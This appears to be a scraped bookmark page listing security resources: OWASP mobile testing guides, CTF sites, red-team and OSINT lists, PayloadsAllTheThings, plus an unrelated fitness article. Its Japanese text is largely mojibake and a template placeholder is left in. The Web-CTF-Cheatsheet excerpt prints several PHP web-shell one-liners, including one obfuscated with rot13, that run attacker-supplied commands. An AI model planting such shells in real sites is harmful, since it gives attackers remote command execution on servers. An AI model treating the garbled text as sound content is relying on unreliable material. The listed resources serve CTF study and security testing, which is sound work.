扉 | owasp-mastg-ja
OWASP モãƒã‚¤ãƒ«ã‚¢ãƒ—リケーションセã‚ュリティ (Mobile Application Security, MAS) フラグシッププãƒã‚¸ã‚§ã‚¯ãƒˆã®ä¸€éƒ¨ã§ã‚ã‚‹ OWASP モãƒã‚¤ãƒ«ã‚¢ãƒ—リケーションセã‚ュリティテストガイド (Mobile Application Security Testing Guide, MASTG) ã¯ãƒ¢ãƒã‚¤ãƒ«ã‚¢ãƒ—リケーションセã‚ュリティ解æžæ™‚ã«ä½¿ç”¨ã•ã‚Œã‚‹ãƒ—ãƒã‚»ã‚¹ã€æŠ€æ³•ã€ãƒ„ールを網羅ã™ã‚‹åŒ…括的ãªãƒžãƒ‹ãƒ¥ã‚¢ãƒ«ã§ã™ã€‚ OWASP モãƒã‚¤ãƒ«ã‚¢ãƒ—リケーションセã‚ュリティ検証標準 (Mobile Application Security Verification Standard, MASVS) ã«è¨˜è¼‰ã•ã‚Œã¦ã„ã‚‹è¦ä»¶ã‚’検証ã™ã‚‹ãŸã‚ã®ä¸€é€£ã®ãƒ†ã‚¹ãƒˆã‚±ãƒ¼ã‚¹ã‚’網羅ã—ã€å®Œå…¨ã‹ã¤ä¸€è²«ã—ãŸã‚»ã‚ュリティテストã®ãŸã‚ã®ãƒ™ãƒ¼ã‚¹ãƒ©ã‚¤ãƒ³ã‚’æä¾›ã—ã¾ã™ã€‚ OWASP MASVS 㨠MASTG ã¯ä»¥ä¸‹ã®ãƒ—ラッ
Peerlyst
Peerlyst was built as an open community for security professionals and was within 5 years served over 1 million cyber security experts from 191 countries. We were really proud to build a place where anyone could learn, share knowledge, and advance their career. The site hosted ~150,000 resources, wikis and blogs in security, all created by members of the community at their own will. Thank you, sec
GitHub - w181496/Web-CTF-Cheatsheet: Web CTF CheatSheet ðŸˆ
<?php system($_GET["cmd"]); ?> <?php system($_GET[1]); ?> <?php system("`$_GET[1]`"); ?> <?= system($_GET[cmd]); <?=`$_GET[1]`; <?php eval($_POST[cmd]);?> <?php echo `$_GET[1]`; <?php echo passthru($_GET['cmd']); <?php echo shell_exec($_GET['cmd']); <?php eval(str_rot13('riny($_CBFG[cntr]);'));?> <script language="php">system("id"); </script> <?php $_GET['a']($_GET['b']); ?> // a=system&b=ls // a=
セクタンラボ ï¼æƒ…å ±ã‚»ã‚ュリティ担当者ã®ãŸã‚ã®å®Ÿé¨“室ï¼
セクタンラボã¯ã€ç¾å ´ã§æˆ¦ã†æƒ…å ±ã‚»ã‚ュリティ担当者ã®ãŸã‚ã®ã€ã‚¤ãƒ³ã‚·ãƒ‡ãƒ³ãƒˆå¯¾å¿œã«å½¹ç«‹ã¤æŠ€è¡“æƒ…å ±ã‚’äº¤æ›ã™ã‚‹ãŸã‚ã®ã‚µã‚¤ãƒˆã§ã™ã€‚ ã¾ãŸã€ä¸»ã«ä»™å°è¿‘郊ã§ã€ã‚¤ãƒ³ã‚·ãƒ‡ãƒ³ãƒˆå¯¾å¿œã«é–¢ã™ã‚‹ã€å‹‰å¼·ä¼šã‚„競技会（プãƒCTF）ãªã©ã®ã‚¤ãƒ™ãƒ³ãƒˆã‚’ä¼ç”»ã—ã¾ã™ã€‚ æ–°ç€æƒ…å ± 「イベントã€ã«ä»™å°CTF2019 Day-2 CTFスコアサーãƒï¼ˆä¸€èˆ¬å…¬é–‹ç‰ˆï¼‰ã®ãƒªãƒ³ã‚¯ã‚’掲載ã—ã¾ã—㟠(2020/01/01) 「活動æˆæžœã€ã«ä»™å°CTF2018勉強会資料ã®å®Ÿç¿’・演習データを掲載ã—ã¾ã—ãŸ(2019/12/15) 「活動æˆæžœã€ã«ä»™å°CTF2017-2019ã®å‹‰å¼·ä¼šè³‡æ–™ã®ãƒªãƒ³ã‚¯ã‚’掲載ã—ã¾ã—ãŸ(2019/11/17) 「イベントã€ã«ä»™å°CTF2019ã®é–‹å‚¬ã«é–¢ã™ã‚‹æƒ…å ±ã‚’æŽ²è¼‰ã—ã¾ã—ãŸ(2019/09/18) å…¬å¼ã‚µã‚¤ãƒˆURL変更ã®ãŠçŸ¥ã‚‰ã›(2019/02/17) 独自ドメインåã‚’å–å¾—ã—ãŸãŸã‚ã€å…¬å¼ã‚µã‚¤ãƒˆã®URLを以下ã®ã¨ãŠã‚Šå¤‰æ›´ã—ã¾ã™ã€‚（旧ドメインå
NoSQLを使ã†ãªã‚‰çŸ¥ã£ã¦ãŠããŸã„ã‚»ã‚ュリティã®è©±
ã“ã“ã‹ã‚‰ã¯ã€MongoDB以外ã®NoSQLを使ã†ã‚¢ãƒ—リケーションã®ã‚»ã‚ュリティã«ã¤ã„ã¦ç°¡å˜ã«èª¬æ˜Žã—ã¾ã™ã€‚
CSS - The Sexy Assassin
The Sexy Assassin's Arsenal - Power optimized Concussion sticks (PoCs) Arithmetics Sums Multiplications chmod calc CSS Hangman Game CSK1 CSK2 Loops Stopmotion animation 7 segments counter binary counter Mouse tracking CSS Paint CSS Attribute Reading Attribute Reader History Reading CSS History Bool CSS LAN Scanner History Crawler
リリースã€éšœå®³æƒ…å ±ãªã©ã®ã‚µãƒ¼ãƒ“スã®ãŠçŸ¥ã‚‰ã›
最新ã®äººæ°—エントリーã®é…ä¿¡
j次ã®ãƒ–ックマーク
kå‰ã®ãƒ–ックマーク
lã‚ã¨ã§èªã‚€
eコメント一覧を開ã
oページを開ã
Things I learned after rooting 25+ Hack the Box machines!
Android Application Security Series – Aditya Agrawal
PayloadsAllTheThings/Server Side Request Forgery at master · swisskyrepo/PayloadsAllTheThings
GitHub - tanprathan/MobileApp-Pentest-Cheatsheet: The Mobile App Pentest cheat sheet was created to provide concise collection of high value information on specific mobile application penetration testing topics.
最強ã®è‡ªé‡ãƒˆãƒ¬ プリズナートレーニング BIG6 全メニューã®ã‚„ã‚Šæ–¹ - ã‚ãˆã‚ã
GitHub - qazbnm456/awesome-security-trivia: 🤙 Security Trivia that rare people know.
GitHub - toniblyx/my-arsenal-of-aws-security-tools: List of open source tools for AWS security: defensive, offensive, auditing, DFIR, etc.
VulnerableContainers.org
GitHub - yeyintminthuhtut/Awesome-Red-Teaming: List of Awesome Red Teaming Resources
GitHub - hassnainfareed/awesome-ethical-hacking-resources: 😎 🔗 Awesome list about all kinds of resources for learning Ethical Hacking and Penetration Testing.
GitHub - jivoi/awesome-osint: :scream: A curated list of amazingly awesome OSINT
💀 Sploitus | Exploits & Tools Search Engine
Emad Shanab on Twitter: "Red Team, tips,tools,methods,and more: https://t.co/rwMhVbtBAi https://t.co/AugskePbOh https://t.co/kBZsy9uwg4… https://t.co/Xp9quv5zT9"
PayloadsAllTheThings/XSS injection at master · swisskyrepo/PayloadsAllTheThings · GitHub
{{#tags}}- {{label}}
{{/tags}}